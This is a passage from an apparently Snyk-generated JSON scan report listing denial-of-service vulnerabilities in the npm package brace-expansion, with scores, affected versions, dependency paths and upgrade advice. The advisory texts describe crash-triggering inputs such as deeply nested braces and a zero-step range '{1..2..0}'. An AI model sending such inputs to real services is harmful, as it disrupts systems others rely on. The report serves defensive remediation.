},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-profile@10.0.0",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-profile@10.0.0",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-profile@12.0.2",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
